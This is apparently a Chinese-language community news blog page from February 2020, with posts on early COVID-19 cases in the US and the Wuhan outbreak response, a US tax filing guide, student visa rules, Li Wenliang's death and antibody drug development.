新型冠状病毒肺炎肆虐引发全球关注。美国在本周完成了最后一次撤侨，而美国的华盛顿州、加利福尼亚州、亚利桑那州、威斯康辛州、伊利诺伊州、马萨诸塞州等均出现了确诊病例，截至目前已经有13人确诊感染武汉肺炎。华人聚集的纽约州，截至2月11日，共送25例新型冠状病毒肺炎疑似病例样本到联邦疾病控制和预防中心测试。其中，有22人的检测结果为阴性。纽约市的一个样本仍在等待中。纽约市以外的纽约州出现两例新疑似病患。在纽约州，尚无确诊的新型冠状病毒病例。

疾病预防控制中心（CDC）10日晚间公布全美第13例新冠肺炎患者，该患者最近从中国武汉撤侨返回飞抵加州圣地牙哥。CDC正在对确诊病患进行彻底的接触者调查，以确定接触者并评估这些接触者是否具有高风险。

2020-02-12 / by beibei / in 医疗健康, 新闻

2020年美国个人报税指南

餐馆报税/中医报税/按摩店报税/哪家会计师好/哪家报税公司好/纽约报税须知/2020报税

一年一度的美国报税季又来了，来看看2020年报税的新规则（附报税流程、最新税率表、退税方式、报税软件），算一算你能退多少税！

纳税人：

需要在美国纳税的包含三类人群：美国公民（Citizen）、美国永久居民（Permanent Resident），居民外国人（Resident Alien），以及有美国境内收入的非居住外国人（Non-Resident Alien，一年内在美超过183天。

申报税：

必须要报的是联邦个人所得税（Federal Taxes），税率也是全美统一的，由美国国税局IRS掌管。除此，如果不是居住在以下地区，你还需要缴税州和地方税（State Taxes），由居住地州政府掌管，州和地方税率各地也有所区别。美国无需缴个税的州有：阿拉斯加州、华盛顿州、田纳西州、德克萨斯州、新罕布什尔州、佛罗里达州、内华达州、南达科他州、怀俄明州。

以下几项收入一般都是需要报税的，除此还有奖学金、退休金、失业补偿金收入、博弈获利、国外已得收入、小费以及一些附加的福利等。

纳税人类型（报税身份）

美国报税身份一般有5种，每种报税身份的税率，缴税标准以及所能享受的税收福利都不尽相同，以下前四种报税身份最为普遍。

1）单身个别报税

2）夫妻合报

3）夫妻各自报税

4）一家之主报税（主要指单亲家庭）

5）丧偶之人而有家小负担者报税

丧偶那年是纳税人可以与已故配偶联合报税的最后一个税务年度。配偶已故后的后两年，且期间未婚，可使用抚养子女的一家之主作为报税身份。

个人所得税免税额：

2019年标准扣除额（Standard Deduction）：

在IRS规定的标准扣除额和分项费用扣除额（Itemized Decution）中选择扣除额更多的那项。分项可以抵减的常见费用如下表：

报税流程

步骤1→打开美国国税局网站下载免费报税表格做纸质申报，或在线填写报税表格。

步骤2→搞清楚自己需要填写几张表格。绝大多数受雇职员只需要填写1040这一张表格，2019年里任何你工作过的地方都会给你一张报税表。如果你是独立承包商或独资经营者需要填写需要提交Schedule C或Schedule C-EZ。父母，学生，退休人员，军人也许需要提交补充表格，用于从报税收入中减掉某些花费和/或使用某些税额减免。

步骤3→借助专业报税软件，填写报税表格：

1）在1040表中填写个人信息：包括姓名、地址和社会保险号（SSN）。如果你选择单身个别报税或单独报税，可以使用更简洁的1040-EZ报税表。

2）根据上面所说的选择纳税人类型，也就是报税身份。

3）在免税额一栏中列出任何可以算作受你抚养或赡养的人：符合一定条件的亲戚和孩子可被视作受赡养/抚养者。

4）计算出2019年所有的收入：工资和小费显示在W2的第一个框中，你应该把它们与超过10美元的应税利息[5] 和失业补助金（如果领过的话）加到一起。注意填写第21行的“其他收入”一栏，然后把所有收入加到一起，所得到的数字就是你的总收入。

5）填写你的调整后总收入（AGI）：AGI等于总应税收入减去特定的免税额。这一部分中要详细写明各种可免税的项目，包括在健康储蓄账户(HSA)和个人退休账户(IRA)中的投入，搬家花费，学生贷款利息和抚养/赡养费支出等等。从上一步中得出的总收入中减去这些项目。

6）加总你的应纳税额和减税额：1040表的下一部分叫做“纳税额和减税额”。首先加总与你有关的所有的应纳税额，减去免税部分，然后再减去任何减税额，包括养老金投入减税，外国税收抵免，住宅能源优惠等等。

7）接下来的两部分中请列出其他的应纳税额和你已经支付的税额：在“其他税额”部分，列出你本年支付过的其他有关税种，以计算你的总税额。下一部分中列出你已经缴纳过的税额，包括W2表和1099表中的提前扣税，个体经营者的预缴税和低收入抵税额（EIC）。

8）如果需要的话计算你的退税额：如果你的已缴税额（62-71行）多于应纳税额（55-61行），你就可以获得退税。这意味着你已经缴纳的税额多于你应该缴纳的税额。从总已纳税额中减去应纳税额以计算退税额。如果你的已纳税额少于应纳税额，请在下一部分中计算你的欠税额。

9）如果需要的话计算欠税额：如果你的应纳税额多于已纳税额，请用应纳税额减去已纳税额得出你欠IRS的总税额。

10）签名并注明日期，填写其他补充信息：如果需要的话，填写此次报税所涉及的所有人的姓名和电话号码，并让他们在有关部分签名。将报税表与有关的账单寄到网上所列的有关部门。

步骤4→在2020年报税截止时间前，以邮寄或在线申报 (e-filling) 方式将报税表和钱交给相应税务部门。

关于在线申报（e-filling）：联邦税则登录IRS的在线报税服务（freefile，一般是调整后收入（Adjusted Gross Income）小于规定的额度可以免费电子申报。）；州税和地方税：登录各州州政府官网的免费申报系统即可。

值得信赖的报税软件

以下专业报税软件都是受美国国内税务局认可的。根据自己需求选择对应类型即可。

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退税

一般在报税后的21天内会收到退税（Tax Refund）网上递交申请24小时后，你可以用IRS的追踪系统（https://www.irs.gov/refunds）查询状态，若是邮寄申请的话，则在文件寄出4周后才能查新到信息。无论是联邦个税还是州税，都是多退少补。但对于那些预扣超过应税金额的人，得到IRS和州税局退款的时候，就像年底发奖金一样，犹如获得一把意外之财！

几个注意事项

1）防税务诈骗：每年税务相关的犯罪行为不可胜计，所以每年的Tax Season也是诈骗团队的丰收季，不法分子窃取社会安全号码，提交欺诈性的退税申请。所以为防受害，应尽早报税。如果你已经发现有欺诈退税情况时，IRS网站上有具体的指南（https://www.irs.gov/individuals/how-do-you-report-suspected-tax-fraud-activity）教你如何把损失降到最低。

2）如果你是留学生，请每年都填一张8843表格（Statement for Exempt Individuals and Individuals With a Medical Condition），填这表的作用就是让IRS知道你是留学生，非本地人，避免多做一些美国人才需要做的税务相关事项。

2020-02-11 / by davidhorgan479 / in SAT/ACT, 律师/移民/金融, 汽车/房产/保险, 理财/报税, 留学/教育/求职, 移民生活, 美国留学

注意啦！2020年美国政府开始限制留学生的居留时间

哈佛大学威德纳图书馆参考资料阅览室（资料照片）

美国政府本月将公布一项新的限制措施，该措施将限制国际学生在美居留时间，要求国际学生在美留学生涯的每一个阶段都要申请新的许可。预计，新规定将影响到持有F1、F2、M1和M2的学生及陪读签证的人。

按照美国目前的规定，非移民国际学生获批入境后，只要在“身份有效期”(duration of status)内便可在美居留和学习，不必再经历更多审批。新规定将为这些学生设定“最长授权居留期”(maximum period of authorized stay)，并要求在每一次学习计划改变时都必须获得新的许可。如果某学生从本科转入研究生项目，必须申请新的许可。如果学习项目超过预期时间，也必须申请新的许可。

美国政府制定新规则的理由是减少非移民学生逾期滞留事例的发生并改善非移民学生签证的完好性。

现阶段国际学生主要来源于中国和印度，分别向美国输送了363,341和196,271名留学生。

国际学生签证持有F1与M1，它们的区别是：

F1和M1都是学生签证。但是F1是发给那些参加或申请参加某机构的全职学位项目的人，该机构须得到美国移民及海关执法局(USCIS)批准并同意加入“学生与交流访问者信息系统”(SEVIS)。F2用于F1签证持有者的陪读家属。

M1签证用于那些参加诸如语言学校、美容学校、机械修理学校等等的职业学校的学生。根据USCIS的规定，M1签证及其陪读签证M2有效期只有一年，但是学生可以申请延长，最多达三年。

就此留学生是否必须回国重新申办签证呢？国土安全部发言人说，“此刻，我们不知道最后的规则将包括什么。”

目前规定如何？

目前，非移民学生在“身份有效期”内可以留在美国。这也就是说，只要他们参加某个学习项目，并且维持非移民身份，他们就可以继续在美国居留。

在美国有多少人持学生签证？

虽然国土安全部没有公布2019年和2020年的数字，但从一篇英文报纸上知悉，在从世界各地前来美国留学的人当中，寻求高等教育超过其它任何目的。不过，在经历了几十年的增长后，美国大学连续两年出现国际新生入学人数停滞和下降的现象，来自某些国家的学生人数锐减。

美国国际教育学会(IIE)与美国国务院合作撰写并在2019年11月公布的年度《门户开放》报告显示，2018-2019学年期间在美国的高等教育机构的全体19,828,000名学生中，有1,095,299名在读的国际学生。

这意味这在美国所有高等院校中，有5.5%的学生是国际学生。报告数字显示，在读国际学生总数略有上升，比前一年提高了0.05%，但是新增国际学生入学人数下降了0.9%。

会不会有成本？

这项新规则显示，USCIS正在“评估受监管实体与个人因此产生的成本与收益以及对整体公众造成的成本与收益的过程中。”

但是《福布斯》杂志的报道对美国政府是否有能力受理已持有签证的人重新提交的申请表示怀疑。根据美国移民律师协会(AILA)的研究，USCIS目前正“以令人难以接受的、越来越慢的速度审议案件”。

2020-02-11 / by davidhorgan479 / in 律师/移民/金融, 留学/教育/求职, 移民生活, 美国大学, 美国留学

中国新闻周刊：中国疫情从“可控”到全面失控的那些细节

2019年最后一天爆发的武汉肺炎迅速再在全球蔓延。中共官方从一开始的疫情可控、“病毒不会人传人”到现在全面失控。2月4日，中共党媒央视前著名主持人崔永元也在twitter质疑，中共官方在疫情爆发之初，不但没有进行防控，反而大摆万家宴，号召4万人参加；此外还免费发放20万张武汉景点门票让疫情肆无忌惮的传播。甚至还抓捕、处分了最开始曝光肺炎的包括武汉医生在内的8个人。此举令人费解。而《中国新闻周刊》最新一期封面文章《武汉之憾：黄金防控期是如何错过的》却披露，武汉最初根本就没有任何防疫措施，导致病毒的黄金防控期被错过，7000字的长文中讲述这一场人祸究竟是如何酿成的。

2019年12月30日，武汉市中心医院医生李文亮听同事说，急诊科隔离了7名来自于华南海鲜市场的SARS病人。他在大学同学群里发了这一消息，此消息在网络上广传。

2019年12月31日，一份盖有武汉市卫健委公章的红头文件在社交媒体上流出，文件紧急通知“武汉市华南海鲜市场陆续出现不明原因肺炎”，有人惊恐地问：难道是萨斯重来？

但是同日，武汉市卫健委通报，确认多例肺炎病例与华南海鲜城有关联，并声称“未发现明显人传人现象，未发现医务人员感染”。

该通报迅速浇灭了话题热度。人们松了口气，以为可以安心跨入21世纪的第三个10年了。殊不知，一场确诊人数远超萨斯的全国性疫情才刚刚拉开序幕。

2019年12月31日，华南海鲜市场仍正常营业，次日市场才休市整治。加州大学洛杉矶分校公共卫生学院副院长张作风指出，早在12月8日，华南海鲜市场就发现新冠肺炎患者，如在其后一周内关闭该市场，并隔离病人、可疑病例和接触者，疫情绝不可能发展到现在的严重程度。

2020年1月3日，李文亮接到派出所的电话，被迫签署了一份关于“在互联网上发表不实言论，属违法行为”的《训诫书》。

1月6日到1月10日，武汉市召开地方“两会”。武汉市卫健委未作疫情通报。

1月9日，武汉不明原因肺炎的病原检测结果初步评估专家组组长、中国工程院院士徐建国宣布，对武汉这些病例的病原体，初步判定为新型冠状病毒。

1月11日，武汉卫健委通报确诊患者共41例，并有1例死亡，再次重申“未发现医务人员感染，未发现明确的人传人证据”。国家医疗专家组专家、北京大学第一医院呼吸和危重症医学科主任王广发则在同日接受媒体采访时说，武汉的情况“可防可控”。但此后，王广发本人被曝在武汉期间感染了新冠肺炎。

1月12日~17日，武汉未通报新增病例。但国外却陆续发现了新冠肺炎病例。

直到1月18日，武汉市卫健委才恢复了通报，同日，武汉百步亭社区举行了有4万多个家庭参加的“万家宴”。对于“万家宴”在社会上引起的质疑，武汉市市长周先旺回应称，“今年之所以继续举办这个活动，是基于之前我们对这一次疫情传播是对人与人之间有限性传播的这个判断……”

围绕武汉新冠肺炎，截至1月底，大陆专家已总共在《柳叶刀》与《新英格兰医学杂志》上发表了6篇文章。

其中1月29日发表于《新英格兰医学杂志》的一篇文章，作者是中国疾控中心副主任冯子健与湖北省疾控中心主任杨波，中疾控主任、中科院院士高福也是共同作者。

文章通过分析截至1月22日的425例新冠肺炎患者发现，在2020年1月1日前发病的病例中，有55%与华南海鲜市场相关，而在此后发病的病例中，仅8.6%与海鲜市场相关。对此，浙江大学教授王立铭在微博上表示，“从这篇文章看，国家疾控中心早在1月的头几天就已经掌握了明确的病毒人传人的证据……那么这个消息是在哪个步骤被掩盖了？”

王立铭的这一质疑在短短两小时内就得到了数万网民的转发和评论。

1月24日，武汉新冠肺炎的定点医院——金银潭医院副院长黄朝林等人发表在《柳叶刀》上的一篇论文中指出，最初的武汉市41个病例中，有14例无华南海鲜市场暴露史，并认为华南海鲜市场不是唯一的疫源地。该论文称，武汉金银潭医院收治的首个感染者发病日期可以追溯至2019年12月1日，且没有华南海鲜市场暴露史。

这意味着，首次感染人或早至去年11月，病毒先是在人群中传播，直到12月末在华南海鲜市场聚集性暴发。

《中国新闻周刊》报导认为，从疫情的实际发展来看，这些研究数据与结论，没有及时向国内公众公开，也没有及时地用在扑灭疫情的过程中。在政府的决策过程中，究竟是哪一环节出了问题，依旧是一团迷雾。同样模糊的，还有疾控部门在这次疫情决策中扮演的角色。

1月20日，钟南山在央视采访中肯定了新型冠状病毒存在人传人的现象，并指出，有14名医务人员在护理一名患者过程中被感染。这一消息迅速点燃了舆论。但此时，返乡潮的大幕已开启。在武汉的病例数大幅增加、疫情在全国开始扩散的情况下，武汉大型聚集性活动仍在进行。

1月23日凌晨，武汉发布“封城”通告。但武汉市市长周先旺1月26称，目前已经有500多万人离开了这座城市。

由于中共当局对大陆民众的隐瞒和延误，导致武汉肺炎疫情在全中国及全球泛滥。世界卫生组织近日宣布，冠状病毒疫情已构成“国际关注的突发公共卫生事件”，即全球紧急事件。

日、韩、美、英、法、德等数十个国家纷纷从武汉撤侨。在全球23个国家地区已发现逾131个确诊病例。外媒和中国境内渐把造成严重公共卫生事件的责任，指向中南海最高层，中共内斗也空前激烈。

据推特用户“阿里妞妞”透露，中新社旗下的《中国新闻周刊》是由中共统战部部长尤权主管的，尤权是李克强旧部。

2020-02-11 / by beibei / in 医疗健康, 新闻, 求医指南

武汉公民记者方斌再次被抓武汉市民敲锅促当局还其自由

武汉市民方斌因在武汉肺炎爆发后，连日赶往医院拍摄短片记录，而被当局盯上。据网络社交媒体的消息，方斌在9日下午再度被警方带走。

香港电台报导，武汉一批消防员9日下午到方斌住所破门而入，便衣警察随后将他带走。方斌的Youtube频道最后一次更新也是在9日，他在影片中展示一张自己所写「全民反抗、还政于民」的书法。

方斌1日曾在当地医院拍摄到多具病人遗体，他把这段影片发到社群平台微信群组后，被警方抓捕，几个小时后释放。

此后警方又上门骚扰。方斌开始每天藉由影片向网友报平安，并发起「全民互助」运动。7日，他在影片中还呼吁全民反抗中共暴政。

日前同样赴武汉拍摄真实情况的公民记者陈秋实失联，方斌又二度被抓捕，有网友在网路上发起活动，号召14日晚间8时武汉全城熄灯一分钟，武汉市民在自己家中同时敲锅，呼喊口号包括：「武汉人加油、武汉人字就、释放陈秋实、释放方斌」。

2020-02-11 / by beibei / in 新闻

两岸防疫为何成效大不同？

目前，武汉肺炎疫情已经波及全球，不少国家都在努力加强防疫措施，应对眼前的病毒危机。在这场灾难来临之际，大陆和台湾防疫工作的成效，可以说是非常鲜明的对比。台湾目前共确诊16人，其中1人已出院，而大陆疫情仍然快速蔓延，隔离点犹如人间地狱。

武汉肺炎防疫专家：台湾防疫做得非常好

国家卫生研究院副院长司徒惠康受访表示，台湾的武汉肺炎案例恢复情况良好，医生对重症患者的医疗很清楚，该补充水分就补充水分，该给营养就补充营养，有些人呼吸道症状会合并其它细菌感染，医院的整套管控是比较快，台湾防疫做得非常好。他指出，“台湾引以为傲的医疗、民众的水准、政府的决心，及这么多好的临床医师和疾管署这几年经验，台湾在某些防疫策略真的做的比较好。”

国家卫生研究院副院长司徒惠康表示，台湾的武汉肺炎案例恢复情况良好，医生对重症患者的医疗很清楚，台湾防疫做得非常好。

武汉肺炎中国新增确诊病例持续增加，各界关注大陆疫情要能控制的住。司徒惠康表示，因为他们是最大的感染源，最多的案例在那里，确诊案例最多也在中国，再加上有些城市人口实在太密集了。他说，中国可能需要更多的药物、防疫物资、管控流程、资讯的网路系统，那牵涉到整个防疫全体面都是重要的环节。

他说，台湾在公共卫生的防治，尤其是SARS的经验，大家真的进步很多。“台湾不管在平常的卫教，还有医疗院所医护人员的素质，及整个对民众的宣导方面，都比中国大陆来的强，所以相对来讲疫情要比较快速失控，发生在台湾的机会比中国是小很多。”他表示，台湾面临武汉肺炎疫情，政府防疫第一线是先把疫情弄清楚，怎么样建立快筛的SOP，也为了安定民心，做很多保护国人的事情。

“武汉肺炎蔓延全球，各国加紧防疫应对。”他表示，现在每个国家都有新的策略出来，美国政府也不准中国大陆旅客到美国。他强调，“中国大陆要赶快控制疫情，但凭中共一国之力真的是很困难。”“防疫是不分国度，我们当然希望中国（中共）提供的是及时、全面、精准的资讯，不需要有太多不同的政治考量。”

“中共从以前SARS时就这样子”，司徒惠康表示，它们比较不是那么透明，还有决定封城手段是比较强制的阻绝方式。“上千万人的城市怎么封城？因为总要有民生物资要进去，总有些人可能有不同的原因，在紧急情况下需要进或出，我想只要是那种管控，没有办法完全管控好时，你很难完全去预测（封城能否控制疫情）”。

他说，SARS与武汉肺炎防疫不同，SARS被感染以后比较明确发烧，而且呼吸道症状很明显，但新型冠状病毒感染后，病患没那么严重，但他可能没什么症状也可以感染，而不完全只是靠发烧，因为尤其冬天普通感冒也会发烧，流感也会发烧，某些病人某些情况都会发烧，这在防疫上就更困难，现在全球都是从旅游史跟接触史，去做自主隔离的重要判断依据。

“对抗武汉肺炎台湾科学家串连行动”会议4日举行，司徒惠康说，学者专家等到政府第一线事情弄好之后，他们召开会议从研究的角度齐聚共商对抗新型冠状病毒，讨论应该怎么来做盘点及推动的对策。台积电慈善基金会董事长张淑芬表示，希望政府尽快成立专家小组，并由有权的领导者带领科学界对抗武汉肺炎，“抓到病毒、杀掉病毒”，让民众安心过日子。

司徒惠康强调，面对现在的疫情状况，研发快速有效的筛检试剂非常重要。其中一个重要手段就是发展“单株抗体”。在2003年SARS盛行期间，国防医学院预防医学研究所与国家卫生研究院就曾合作产制适合的单株抗体。这些抗体经日前分析，已发现具有中和新型冠状病毒的潜力，若能进一步验证其辨识此病毒的能力，将可用以发展检测试剂。

台湾首例武汉肺炎病人出院写信表达感谢

台湾目前确诊武汉肺炎16例当中，有14例是境外移入、2例为台商从武汉返台家庭内感染。中央流行疫情指挥中心指挥官陈时中4日宣布，第11例确诊个案为首批从武汉搭专机回台的台商时，一度讲话哽咽忍不住落泪。

陈时中指出，不希望看到确诊个案，但第一线的人员都这么努力，很抱歉没做好情绪控管。陈时中表示，第一时间听到确诊很沮丧，但这也是带台商回来的重要原因，避免有病人留在武汉，比较不好的医疗环境可能会令他们丧失宝贵的生命。

台湾中央流行疫情指挥中心2月6日公布，国内首例新型冠状病毒确诊个案症状改善，已安排出院。女台商写信表达对防疫及医护的感谢。

武汉肺炎台湾首例出院女台商病人在感谢文中提到，“没有任何一个人想要生病，”当她看到卫福部陈时中部长在新闻上哽咽落泪的那一刻，她忍不住心中满满的感慨，她要向第一线的所有防疫人员说声，您辛苦了！谢谢你们！

她说：“您试想：明明知道有被传染，会有危险的事，你会去做吗？但一线的护士、防疫人员，为了要治疗我，要帮助我，他们却必须接触我、面对我，甚至天冷为我多拿一床被子，帮我拿热水，饭冷了微波了，热了才为我送过来。我的嘴唇裂了，马上帮我连络医生帮我拿药拿棉棒。医生也不厌其烦地为我说明我的病情，给我鼓励，真的真的真的非常非常非常地谢谢你们。”

在这场灾难来临之际，大陆和台湾防疫工作的成效，可以说是非常鲜明的对比。台湾目前共确诊16人，其中1人已出院，而大陆疫情仍然快速蔓延，隔离点犹如人间地狱。（疫情中心提供）

中共隐匿疫情陆民活在恐惧中台立委王定宇：这样没人性的政权迟早毁灭

5日上午，武汉市新冠肺炎疫情防控指挥部召开会议。网上传出消息说，中共湖北省委书记蒋超良向武汉市下达“军令状”，必须在日内完成所有发热病人的检测，25日晚收治所有居家隔离的确诊病人。中共当局设立类似“集中营”的“方舱医院”隔离病患，大陆民众质疑：“会不会因为太密集而导致病毒源源不断无法减轻啊？”“这不是大型交叉感染吗？万一交叉感染麻烦了。”“死亡集中营。”

继武汉市“封城”以来，截至6日，中国已有3省封闭及65座城市封城。不少大陆民众表示，感觉疫情非常严峻，但因中共封锁真实资讯，大家生活在恐惧中。早前已有病患或其家人反映武汉隔离点的现实状况悲惨。湖北网友“伯曼儿”曾连日在微博曝光自己被确诊后隔离的遭遇，说自己如同进入人间地狱，“医院不给我治疗，不给输液，不给打营养针”，最后她感觉生命走到了尽头，留下遗言。

台湾立委王定宇在脸书表示，从两个征兆看出中国的“武汉肺炎”已经失控，其一死要面子的中共政权，罕见地由发言人华春莹发表声明，正式承认需要国际协助。原来拒绝美国CDC疾管局专家协助，现在改口同意。其二从武汉封城，到湖北16城、广东深圳、汕头等社区感染，再到温州、杭州、郑州、山东临沂，这些都是千万上下人口数的大城，也是产业重镇都陆续封城。

王定宇强调，失控的中国肺炎疫情，中共政权会怎么因应？世界各国包括台湾都要审慎严肃面对。他也指出，最早揭露武汉肺炎疫情的中国医师李文亮，当时还被指“造谣”，被公安威逼写“训诫书”（悔过书），现在传出因为“武汉肺炎”过世！中共隐匿疫情害惨自己、拖累世界，最可恶的是到现在还在玩弄政治，以政治干扰防疫，这样没人性的政权迟早毁灭！

台湾病毒专家、台大兽医学院名誉教授赖秀穗表示，由于中共政府隐匿疫情，真实的感染人数，就算把中共已公布数据乘上20倍，都还算保守，估计已经超过10万人感染。而从1月26日起，中国多个省市陆续停开省际客运，她担心，怀疑北京等大城市出现了小型社区感染，如果中共继续隐匿疫情，感染恐怕扩大到百万人以上。

赖秀穗指出，中共不仅隐匿疫情，且忽略了疫情，疫情才会扩散到今天的地步。中共早知人传人，但声称不会人传人，后来才改口说低效率人传人，直到中国大陆呼吸系统疾病专家钟南山说肯定会人传人，中共领导人才表示武汉冠状病毒危险，一定要遏阻，但已经造成重大伤害。

赖秀穗说，现在只要武汉当地感染肺炎的人一出国，世界各国都侦测到病毒，武汉人口已经有几百万分布到中国境内各个城市，如果此时北京、上海、广东发生社区感染，中共再用隐匿的态度处理重大疫病将会自食其果。

2020-02-08 / by beibei / in 新闻

李文亮之死疑点重重！民愤爆发要求“言论自由”话题迅速延烧

被称为武汉肺炎疫情“吹哨人”的李文亮医师在昨日（2月6日）去世，年仅34岁。消息一出激发大批民众不满情绪！人们纷纷表示悼念并质疑其死因。更有网民在微博上发起“#请为李文亮医生平反#”话题，但很快被微博封杀。还有网友并发起了“我们要言论自由”的话题，表示“没有自由，人就没有尊严”。

《生命时报》记者证实，李文亮医生因感染新型冠状病毒肺炎，于2月6日21点30分病逝。

李文亮是武汉市中心医院的一名眼科医生，曾于2019年12月30日在大学医学微信群发表华南水果海鲜市场确诊了7例疑似SARS的言论。第二天被医院监察科要求写一份对于不实信息外传的反思。之后，武汉警方发布通告称：一些网民在不经核实在网络发布转发不实信息，造成不良影响等。公安传唤了包括李文亮等8名“违法人员”，并进行训诫。

此后，武汉肺炎大规模爆发，疫情在全国一发不可收拾，专家估计逾十万感染者，并扩散到世界。中国舆论为李文亮等8名被中共称为“造谣者”的武汉人鸣不平。在舆论压力下，1月28日，中共最高法院发文似乎为李文亮等8名“造谣者”正名。

1月29日，有网民披露被查处的8名“造谣者”都是医生，现在还战斗在防疫最前线，舆论大哗。陆媒评论，“人们无法释怀的是，如果开始就重视这个警告，而不是机械地当成谣言，当下武汉和中国就不会付出如此沉重的代价。”

2月1日，李文亮在自己的微博上公布了他被确诊新型冠状病毒肺炎的消息。他在重症监护室（ICU）病床上接受美媒专访，陈述了整个事件过程。

仅几天，2月6日李文亮去世。

财新记者丁刚深夜所拍。李文亮还在被院方用叶克膜抢救，战友们已经在手术室外向他郑重告别。 pic.twitter.com/KAUWcKMBE4

— Michael Anti (@mranti) February 6, 2020

李文亮之死的疑点

署名“财经冷眼”的财经评论人士发布视频指出，李文亮医生死于中共体制及其医疗系统的谋杀，其中提到：李文亮在去世之前接受了美媒CNN的采访，而CNN海外报导涉及一些中共官方不希望出现的内容，这很可能是让他丧命的重要原因。

李文亮在1月11、12日出现发热症状、住院治疗，随后连续做了两次核酸检测，但结果都是阴性，直到2月1日检查才为阳性，即正式确诊。有网友质疑：为什么前面两次都是阴性？这到底是有意还是无意的？是否存在故意不确诊拖延病情的可能？

李文亮在确诊后病情有好转迹象，但是过去几天突然恶化。有网民透露，“李文亮的治疗极其不够到位和及时，医院院长有压力，李文亮是八个里面被整得最惨的。李文亮的肺部片子，全白！根本就没有想过让他活！这人在美国会被当作英雄！在中共国直接被整死！”“官方说是因为感染病发，我们有理由怀疑他是怎么死的？”

2月6日晚，多位媒体人相继透露李文亮的死讯，多家官媒也做出了报导。网上的悼念、叹息和愤怒迅速涌现。奇怪的是，李文亮所属的武汉中心医院却在北京时间7日零点发微博说，李文亮病危，仍在抢救。3个小时后，医院帖文称李文亮去世。

据悉，李文亮于6日晚9:30心跳停止，20分钟后才进行插管，上了ECMO进行象征性的抢救。网民斥责官方搞“政治性抢救”，只为平息民众的怒火：“九点多就心脏停跳了，直到凌晨三点多还在‘抢救’，连有尊严的死去都不行。而且微博一直在撤热搜，还限制大家讨论，这个政权的邪恶已经无法形容。”

“拖延几分钟，说还在抢救，这是舆论控制的老手段，这叫延宕情绪，直接公布死讯公众愤怒太大，要把愤怒转化为对奇迹的失望。现在大家不就觉得愤怒少了很多嘛。”

“中共吃人血可是很有一套的，抢救李文亮不过是为自己做形象宣传。他是主要那八个‘造谣者’之一，可能会带来舆论压力，不然压根不会在乎他死活的。”

“心跳停止，却不让人死，用时间换维稳，极其可耻”，“要你死你才能死？明白了吗？”

“我们要言论自由” 李文亮去世引网络效应

社交媒体上传出中宣部的命令，要求媒体对李文亮医生去世的消息“稳妥控制热度”“逐步撤出热搜”。随后，有网民披露，李文亮医生死后，为了平息亿万网民的愤怒，院方上了ECMO进行象征性抢救。此“政治性抢救”的作秀行动立刻激起民愤，一波要求“言论自由”的话题迅速在微博上延烧。

据端传媒的统计，截止2月7日凌晨1点12分，微博话题“我们要言论自由”共计收获202.5万阅读量，超过8,000条微博，该话题被删除后，网民又迅速开辟了另一个话题“我们要求言论自由”继续发声。

被称为武汉肺炎疫情“吹哨人”的李文亮医师昨日去世，人们纷纷表示悼念并质疑其死因。更有网民在微博上发起“#请为李文亮医生平反#”话题，但很快被微博封杀。还有网友并发起了“我们要言论自由”的话题，表示“没有自由，人就没有尊严” （微博截图）

被称为武汉肺炎疫情“吹哨人”的李文亮医师昨日去世，人们纷纷表示悼念并质疑其死因。微博截图）

有网民在微博上发起“#请为李文亮医生平反#”话题，但很快被微博封杀。（微博截图）

“我们要言论自由” 李文亮去世引网络效应（微博截图）

还有网民在微博上发起：“#请为李文亮医生平反#”话题，但是被中共删除了。

还有网民在微博上发起：“#请为李文亮医生平反#”话题，但是被中共删除了。（微博截图）

2020-02-07 / by beibei / in 新闻

美国专家称数月可开发新型冠状病毒治疗药物

截至2月5日，中国官方公布累计确诊28,018例新型冠状病毒患者，死亡563例。实际情况远比官方通报更为严重。武汉疫情卷席世界各国，研发治疗2019年新型冠状病毒的方法刻不容缓。

美国卫生部将与美国再生元制药 (Regeneron Pharmaceuticals Inc.) 合作，开发新型冠状病毒治疗药物。美国资深临床评审专家对此表示乐观，称最快在几个月时间里，可望研发出针对新冠状病毒的治疗方案。

美国卫生与公众服务部周二（2月4日）宣布，为了开发治疗2019年新型冠状病毒的方法，美国卫生部将扩大与再生元制药公司的现有合作。这些政府与私企之间的合作，在卫生部备灾应对办公室、卫生部生物医学高级研究与发展局，与再生元制药公司之间展开。

双方将利用他们的合作协议开发多种单克隆抗体，这些抗体可以被单独或组合使用，治疗目前的2019新型冠状病毒。这些单克隆抗体由单个细胞克隆或具有相同抗体分子的细胞系产生。抗体与病毒的某些蛋白质结合，降低病毒感染人体细胞的能力。

方国栋医生曾经担任美国食品与药物管理局（FDA）资深临床评审专家。方国栋说：“我认为，这是在开发针对新冠状病毒治疗药物的过程中迈出了很重要的一步。”

方国栋表示，与目前试用药物“瑞德西韦”的制药公司吉利德相比，再生元制药有自己独特的优势，有自己独特的技术平台，可以快速地筛选“单克隆抗体” 。这是再生元医药生产完全人单克隆抗体的独特技术，可以直接从免疫小鼠中产生大量优化的抗体候选药物。这种方法通过快速创建与治疗靶标紧密结合的完全人源抗体，并避免了在接受包含非人源（通常为小鼠）成分的抗体的患者中可能发生的潜在免疫反应，克服了传统平台的局限性。

美国卫生部负责这项工作的副助理部长里克·布莱特博士（Rick Bright）说：“各种新出现传染病可能对美国的卫生安全构成严重威胁；通过自2014年以来与再生元制药作为政府与私企间的合作模式，我们能加快应对新的全球健康威胁的步伐。” 再生元的这个平台叫做“VelocImmune”，是其核心技术(VelocSuite Technology) 的一部分。

据方国栋介绍，再生元的技术平台用于开发有前途的“三抗体治疗药物”；该药物曾被用于治疗刚果民主共和国最近爆发的埃博拉病毒，以及用于治疗“中东呼吸系统综合症”冠状病毒（MERS-CoV）的“两抗体治疗药物”。

该公司曾经开发的治疗技术和产品，从多个方面缩短了开发时间，将时间表从数年加快到数月。其技术还有助于缩短药物开发的某些阶段，包括抗体发现和选择，临床前规模生产和临床规模生产的过程。

“而且，再生元不止生产一种单克隆抗体，它可以生产多种单克隆抗体，将这些单克隆抗体组合起来，使得它针对新冠状病毒的多个靶点的作用，得以进一步扩展，提高它的有效率，”方国栋说。 “再生元开发的单克隆抗体筛选平台技术已经比较成熟，其中也不乏华裔分子生物科学家的贡献。”

方国栋对此项研发前景表示乐观：“应该在今年上半年内；如果慢一点的话，进入今年下半年，或许就可以找到有效的单克隆抗体，或者单克隆抗体组；对抗新冠状病毒肺炎，或者其它可能新发生的类似新冠状病毒感染，就有了比较新的武器，我们的武器库里的选择性就更多了。”

